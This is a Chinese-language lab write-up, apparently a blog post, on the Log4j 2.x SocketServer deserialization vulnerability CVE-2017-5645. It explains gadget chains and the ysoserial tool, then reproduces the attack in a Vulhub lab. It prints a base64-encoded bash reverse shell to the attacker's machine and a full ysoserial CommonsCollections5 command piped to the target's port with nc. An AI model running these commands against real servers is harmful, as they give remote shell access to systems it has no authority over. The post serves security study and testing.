log4j-CVE-2017-5645
0x01 漏洞概述
log4j简介
攻击者可以通过发送一个特别制作的二进制payload,在组件将字节反序列化为对象时,触发并执行构造的payload代码。该漏洞主要是由于在处理ObjectInputStream时,接收函数对于不可靠来源的input没有过滤。可以通过给TcpSocketServer和UdpSocketServer添加可配置的过滤功能以及一些相关设置,可以有效的解决该漏洞。
CVE-2017-5645
| 说明 | 内容 |
|---|---|
| 漏洞编号 | CVE-2017-5645 |
| 漏洞名称 | Log4j Server反序列化命令执行漏洞 |
| 漏洞评级 | 高危 |
| 影响范围 | Apache Log4j 2.8.2之前的2.x版本 |
0x02 漏洞原理
Gadget/Gadget Chain
- Gadget:某个类或方法片段,在被反序列化/恢复时会执行有“有用”的动作(例如调用java.lang.Runtime.exec() 、触发反射调用、或触发可控的资源操作)
- Gadget chain:攻击者把多个 gadget 组合在一起(通过字段/调用顺序)——从反序列化入口开始,逐步把控制传到最终的执行原语(shell、网络回连、文件写入等)。
- 依赖性:gadget 通常存在于第三方库(如某些旧版 commons-collections 、 spring 、javassist 等)。若目标没有这些库,payload 会失败(通常以 ClassNotFoundException 或其他异常表现)
基于 Gadget Chain 的 Java 反序列化执行路径
服务端从socket/网络读取原始字节流并交给Java的反序列化器来重建对象。Java反序列化会在恢复对象时执行类的特殊方法,因此如果classpath中存在"gadget"——在这些方法里回导致不良副作用的类,就能把"数据"变成"行为"。
利用链(攻击流程):构造恶意的序列化字节流——>发送到监听socket——>目标反序列化并触发gadget chain——>达到攻击者目的(执行命令、打开连接、泄露数据)。
java序列化机制底层细节
Java序列化流有固定头,随后是对象/类描述符、字段数据、handle等。理解格式可帮助分析抓包得到的payload。反序列化时,如果流中包含某个类的描述,JVM会尝试用当前classpath加载该类。若类不可用会抛ClassNotFounException。类的兼容性由serialVersionUID决定;不匹配会抛异常,常导致payload在不同版本间失效。反序列化回调点:
- private void readObject(ObjectInputStream in):类可在此方法中做任意操作
- Object readReslove():可以替换反序列化得到的对象实例
- readExternal,以及构造器/字段初始化。
0x03 漏洞工具
ysoserial
ysoserial 是个开源工具,封装了大量已知的 gadget chain(按库/利用链分类,如CommonsCollections1..7、Spring1、Groovy1 等)。给 ysoserial 指定一个 gadget 类型与“要执行的命令/动作”的参数,它输出一个 Java 序列化的字节流(payload)。
局限性:ysoserial 不做“自动检测”目标 classpath。它仅生成 payload。测试者需要知道或猜测目标环境包含哪些库以选用合适的 gadget。
0x04漏洞复现
1. 环境说明
| 角色 | 系统 |
|---|---|
| 攻击机 | Kali Linux |
| 靶机 | Ubuntu 22.04 |
| 靶场 | Vulhub 1Panel CVE-2017-5645 |
| 容器平台 | Docker + Docker Compose |
| Java | 1.8.0_202 |
2. 拉取漏洞环境
# 进入log4j目录,确认目录内存在 docker-compose.yml
cd ~/vulhub/log4j/CVE-2017-5645
# 启动 log4j 靶场
docker compose up -d
3. 测试Log4j Socket 服务
0.0.0.0:4712 -> 4712/tcp4712 端口对应的是 Log4j SocketAppender 监听端口,它等的是 原始 TCP 日志数据,用nc验证测试端口是否通:nc -vz 192.168.137.137 4712,看到类似Connection to 192.168.137.137 4712 port [tcp/*] succeeded!说明服务完全正常。

4. 制作反弹Shell命令
对bash -i >& /dev/tcp/192.168.137.149/4444 0>&1,进行base64的编码。192.168.137.149为kali攻击机的IP。
base64编码网址:https://tool.chinaz.com/tools/base64.aspx
编码后结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xNDkvNDQ0NCAwPiYx
5.开启监听,接收反弹shell
kali监听,接收反弹Shell:

在kali攻击机的ysoserial.jar目录下执行命令java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEzNy4xNDkvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}"| nc 192.168.137.137 4712。192.168.137.137为靶机IP。

成功拿到shell。
易踩坑的点:靶场环境和ysoserial.jar运行环境对java版本要求特别严格,过高或过低都可能导致复现失败,在java 1.8.0_202测试环境下能够成功复现。

浙公网安备 33010602011771号